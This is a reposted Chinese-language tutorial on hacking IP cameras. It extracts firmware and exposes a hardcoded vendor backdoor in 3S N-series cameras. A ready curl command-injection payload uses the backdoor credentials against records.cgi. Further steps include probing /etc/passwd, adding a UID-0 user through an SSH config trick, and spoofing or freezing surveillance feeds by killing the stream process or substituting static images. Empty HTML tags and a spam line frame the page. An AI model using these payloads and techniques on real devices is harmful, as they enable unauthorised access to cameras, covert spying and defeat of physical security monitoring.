<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/5157

                    0x00 IPCAM hacking


                    binwalk和fmk學習


                    binwalk

                    binwalk xxx.bin
                    

                    最簡單的分析命令,通過簽名匹配來識別固件中的文件,可是單單通過這樣的簡單匹配可能有其他的文件類型不能識別,所以有時可以使用插件--enable-plugin=***
                    可以從圖中看出,0x32E8的便宜位置是gzip的壓縮包文件,0x8A6A88的便宜位置是linux內核鏡像的頭部,可以看到他的一些信息

                    binwalk xxx.bin --dd=類型:保存下來的擴展名
                    

                    這樣,會把gzip的文件保存到本地以.gzip命名

                    也可以用binwalk自動化遞歸提取binwalk xxx.bin -eM

                    之后iou就可以通過解包等行為分析我們提取出來的文件了,不過,在一些簡單的分析情況下,我們這樣識別,分析,提取,過濾,解包,有些繁雜,此時就可以用fmk來幫我們很快的完成這些工作

                    p.s. 除了通過binwalk的內置函數進行提取,我們還可以通過dd命令來提取文件
                    dd if=xxx.bin bs=1 skip=[***] count=[***] of=outfilename

                    通過svn安裝fmk,我們來認識一下這個套件用到的東西

                    extract-firmware.sh使用來解包固件
                    build-firmware.sh使用來重新封包
                    check_for_upgrade.sh用來檢查更新
                    unsquashfs_all.sh使用來解包提取出來的squashfs文件

                    #!bash
                    ./extract-firmware.sh xxx.bin
                    

                    可以很方便的幫我們提取文件

                    之后,我們可以在當前目錄的fmk下找到提取出來的文件

                    logs目錄下還給我們提供了binwalk的log

                    rootfs下就是固件解包提取的文件了

                    IPCAM hacking


                    網絡攝像頭hacking其實和其他嵌入式設備hacking類似,尤其和各種路由器的玩法相似,我們此處簡要以一個運用非常廣泛的網絡攝像頭為例,3s的攝像頭,在分析中,我發現了其廠商自帶的后門以及一個RCE,篇幅所限,第一篇筆記我們只提到后門(其實就是懶,不想碼字...)

                    通過上述過程解包提取文件,在/home/3s/bin/ 下,找到了他的webservice-httpd,在/home/3s/www/ 下是他的源碼

                    將httpd丟入IDA
                    很快看到有奇怪的東西亂入了...system.anonymousptz....why are u so diao

                    官方后門get,shodan上搜一搜發現在今年上半年已經有老外發過了,但是貌似這個后門至今3s公司依舊在其他的攝像頭型號里使用...給跪

                    影響所有N10xx到N50xx型號的攝像頭

                    0x02 function calls to the evil


                    我們通過ida分析N5071的webserver后發現了他至今使用的官方后門,已經可以通過后門未授權通過web訪問IPCAM進行研(偷)究(窺)了,但是作為一名hacker,這還不夠酷,在分析的過程中,我還發現了影響其N產品的一個遠程命令執行,雖是第一次做binary分析,但是很有趣,僅以此文做學習嵌入式設備hacking的記錄 :)

                    在N5071的代碼中,有很多諸如sprintf strcpy的不安全函數調用,當我們配合之前提到的后門時,那影響就是一片一片的~

                    這個系列產品是可以支持管理本地文件存儲的,在webserver中,有records.cgi控制

                    records.cgi使用來做刪除操作,會先交由函數do_records檢查是否存在文件

                    如果文件存在,那么就會拋給sprintf去做字符串格式化然后執行rm命令刪除,如圖:

                    那么,問題就來了,上學老師就告訴過,sprintf要不得,一點過濾都沒有而且這里還是用的system function
                    (web狗表示這里能夠搞定很開心~)

                    所以,我們可以利用官方那個后門訪問records.cgi,構造payload來進行命令注入從而執行系統命令

                    #!bash
                    curl -d "user=3sadmin&password=27988303" http://*.*.*.*/records.cgi?action=remove&storage=sd&filename=test`commands`
                    

                    0x03 exploit


                    執行poweroff后~

                    0x04 IPCAM&&videorecorders


                    一直以來,hacking題材的電影都非常炫酷,黑客們入侵大樓在鍵盤上噼里啪啦,不多時就如入無人之境,分分鐘黑下大樓的所有系統,其中,對監控攝像頭的hacking描寫也很多,這次我們就來“意淫”一下,入侵大樓時,hacking監控攝像(文中案例都是我編的,請勿對號入座)

                    一般大樓內都有許多攝像頭,它們通常區分為網絡攝像頭和錄像機,錄像機是可以保存畫面數據的,先來大致了解一下他們是如何工作的:

                    image

                    image

                    如上圖,管理界面可以分屏查看當前在線的所有cam畫面

                    從簡易到拓撲我們可以看到,在整個系統中manage server用作管理下屬cam,通常有web ui,管理還可通過自己的設備接入進行管理操作,管理的日志和數據存放在數據庫中,說明是有數據查詢交互的,DVR錄像機的畫面數據也會存放在server中,而ipcam則會實時傳輸,也就是說,我們hacking的入手點,可以放在DVR,IPCAM,manager的web方向

                    也就是說,我們可以通過:

                    web ui(manager server) -->HTTP(apache。。。) -->OS(system)-->Hardware(DVR&&IPCAM) OR

                    Hardware(DVR&&IPCAM) -->OS(system)-->HTTP(apache。。。) -->web ui(manager server)

                    一個是通過上層到底層,另一個則直接通過IPCAM或DVR的固件問題直接hacking

                    0x05 some tricks


                    上一篇文章中我們通過執行payload時使用curl發包,用ping來檢測命令是否注入,在embedded devices hacking中,還有一些小trick可以幫助我們

                    很多時候,廠商對原始設備進行了二次開發,所以有些命令你在其他設備work,在目標設備就不work,所以我們可以多采用幾種命令進行測試,如curl,wget,nc

                    靈活使用linux命令進行字符串操作

                    #!bash
                    $ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
                    fi 
                    1 
                    // 檢測root,下面是一些更好的方式。 
                    $ if test `sed -n '/^r/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
                    fi 
                    1 
                    $ if test `sed -n '/^ro/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
                    fi
                    1 
                    $ if test `sed -n '/^roo/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
                    fi 
                    1 
                    $ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
                    fi 
                    1
                    

                    (學習自wooyun zone)

                    當遇到目標有限制字符時,可以寫入shell腳本進行執行

                    如果你非常不幸,遇到了一個閹割命令的busybox多嵌入式設備,權限很高卻無法執行命令,那么,你需要參考喔之前的一篇文章網絡設備中限制用戶命令交互的逃逸

                    ssh給我們提供了一個可以按照配置預期執行命令的功能,在$HOME/.ssh/ config中進行配置,我們可以達到這樣的效果,我們在配置文件中預期執行添加一個新的root用戶,UID為0且無限制執行命令,以此來逃逸網絡設備的限制問題

                    0x06 你看到的不是真相


                    在電影里,我們除了看到黑客直接把大樓系統黑下,還經常看到篡改攝像頭的畫面,這是怎么做到的~DVR我沒研究過,所以暫時不發表觀點,在IPCAM,因為數據時以流的形式傳送的,所以,如果我們把數據傳輸的流掐斷,會怎樣呢~

                    答案是管理在web ui上看到的,會凍結在掐斷之前的畫面,之后攝像頭捕捉到到所有畫面都不會實時傳輸回去,以此來達到篡改的目的

                    舉個栗子,在Trendnet的一款攝像頭中,通過fmk分離固件,我看到了一個叫做mjpg.cgi的文件,這個cgi程序起到的作用就是用來傳輸攝像頭到web ui這個過程的,那么~

                    我只需要kill掉mjdp進程,整個畫面就凍結在kill之前的畫面了,在這個攻擊中,我甚至都不用ssh連接后本地執行,因為我們可以配合之前所說道的攻擊流程,直接對cam固件分析,通過類似RCE的方式kill~

                    有同學問到了一個問題,關于時間戳的事兒,這得分情況,如果是DVR的話,錄像畫面都是從存儲設備中調取,所以要篡改,需要更換文件(因為美研究過DVR,這是我意淫的)

                    對于IPCAM,有部分不帶時間戳,不用考慮這個問題,如果帶的,也不用擔心,因為他們處理畫面傳輸和時間的進程時兩個不同的,你kill了畫面的而已(這涉及到他設備的功能實現問題,如果他二者都在一起,當我沒說~)

                    但是~這并不是一個最好的hacking方法,因為這有一個弊端,如果管理員重新加載瀏覽管理頁面時,進程又會重啟,他又會得到實時的畫面傳輸

                    那么,大招來了,我們是不是可以通過什么攻擊方式來實時更改畫面傳輸,或者說,我們是不是可以通過更好的hacking手段來進行實時欺騙,答案很明顯~當然可以

                    我們可以通過一個很簡單的shell腳本來替換進程傳輸的畫面為你需要的一個靜態圖片來達到欺騙的目的,大概實現如下:

                    #!bash
                    echo -ne “HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n”
                    cat ztzsb.jpg
                    

                    如何執行這個東西,就不用贅述了,你可以直接新建一個,也可以直接加入到cgi腳本中,讓他自己來執行,如果有更棒的方法,求告知學習~在執行我們的腳本后,管理得到的畫面將是你的欺騙畫面

                    多說一句的是,我比較推薦的是備份原始cgi,用新的腳本來執行欺騙,這樣有個好處是可以針對普遍情況的設備,避免二次開發或者不同設備對原始cgi的依賴問題,避免錯誤

                    image

                    0x07 我是如何劫持你的攝像頭的


                    之前的幾篇文章已經介紹了ipcam的幾種玩法和案例

                    ipcam hacking_1

                    ipcam hacking_2

                    ipcam hacking_3

                    ipcam hacking_3中,我們還簡單的介紹了一種劫持攝像頭畫面傳輸的hacking手法

                    那么,我們今天就來主要看看劫持ipcam的姿勢

                    我們說過,如何對ipcam進行畫面劫持,得弄明白這款攝像頭實現畫面傳輸的邏輯,我們大概可以對劫持準備進行這么幾步:

                    很簡單,一步一步來,相對于白盒,直接黑盒測試更方便判斷協議和找到處理腳本,然后在針對的進行白盒分析

                    固件分離我們就不說了,可以參看我之前的幾篇文章,我們在視頻傳輸的功能頁面進行抓包,得到這樣的報文:

                    0x08 確定協議


                    #!bash
                    GET /videostream.cgi HTTP/1.1
                    Host: 10.10.1.3
                    Connection: keep-alive
                    Authorization: Basic YWRtaW46
                    HTTP/1.1 200 OK
                    Server: Netwave IP Camera
                    Date: Thu, 01 Jan 1970 22:10:36 GMT
                    Accept-Ranges: bytes
                    Connection: close
                    Content-Type: multipart/x-mixed-replace;boundary=ipcamera
                    --ipcamera
                    Content-Type: image/jpeg
                    Content-Length: 17561
                    ......JFIF..............Lavc54.27.100....Cztzztzztzztzztzztz
                    

                    鏈接類型是multipart/x-mixed-replace,通過http協議來模擬畫面的推送

                    就是說每次的畫面傳輸都是ipcam使用的mjpeg流的傳輸,畫面就是一張圖一張圖連貫起來形成的視頻畫面

                    0x09 找到處理視頻的CGI


                    同樣,在web界面中的畫面監控的地方進行抓包,得到了整個傳輸過程的報文

                    從live.html --> cam.html --> videostream.cgi

                    通過使用fmk對固件分離,grep找到了videostream.cgi是寫在handle_cgi_requests這個bin文件中的

                    image

                    通過鼠標滾輪大法,我發現除了videostream.cgi這個文件控制畫面傳輸功能之外,還有videostream.asf,這在之前的黑盒測試中是無法發現的

                    image

                    所以我們一會兒分析的時候除了videostream.cgi還有videostream.asf

                    可能有朋友要問了,你不會順著跟蹤函數來分析功能么?為什么還傻乎乎的滾鼠標一個一個找? (QAQ因為我是web狗)

                    0x10 找到實現功能的函數


                    因為這個固件是將功能寫入到bin文件中的,所以找到其實現的函數也是在bin中找(web狗壓力好大。。。)

                    通過跟蹤videostream.cgi和videostream.asf,可以找到這樣一個函數 image

                    函數功能用于接收攝像頭捕捉到的畫面并且會返回一個相應的包頭和jpg的數據

                    (接下來就是對這個bin文件的詳細分析,web狗做的分析,肯定有很多不對,求各位斧正)

                    #!bash
                    image_counter = 0;
                    image_data = malloc(size_of_image);
                    [r4, #4] = image_data;
                    sprintf(&image_data, "/home/my_picture_%d",
                    image_counter);
                    f = fopen(image_data, "rb");
                    fread(&image_data, 1, size_of_image, f);
                    fclose(f);
                    [R4, #0xC] = size_of_image;
                    image_counter ++;
                    image_counter = image_counter % number_of_images;
                    

                    看得出來,每次畫面的選取都是從/home/my_picture這里選取的,因為之前說過,整個畫面傳輸的工作都是連續的圖片傳輸,所以,如果我們可以對這里的文件進行批量的寫操作,就能夠對畫面進行實時欺騙了呢

                    yep,但是對ipcam的畫面劫持的前提是,你需要獲得到這個攝像頭的會話,并且有一定權限,對文件進行寫操作

                    所以,整個過程,應該是這樣:

                    0x11 something fun


                    在我對視頻流劫持查找資料學習的時候,我找到了一個小玩意videojak

                    videojak是一個很簡單的ipcam的安全測試工具,它可以在你獲取到的ipcam中做一個類似MITM的中間人攻擊,直接劫持整個畫面的傳輸流,或者重放上一個傳輸流

                    挺好玩呢

                    還有一個針對2013年blackhat大會上,Craig Heffner大神的好萊塢hacking議題中提到的所有攝像頭漏洞的直接利用工具,ipcamshell

                    ipcamshell可以幫助你直接獲取一個交互式的會話,并且拿到這個攝像頭的認證用戶名和密碼

                    0x12 結語


                    文章最后,感謝各位不噴我這班門弄斧的crack水平和bin分析,因為每款型號的攝像頭的固件功能實現都不相同,所以文中的例子只是一個例子而已,主要是介紹一下整個分析思路和過程。

                    我也還在折騰學習攝像頭方面的hacking,希望各位不吝賜教~

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频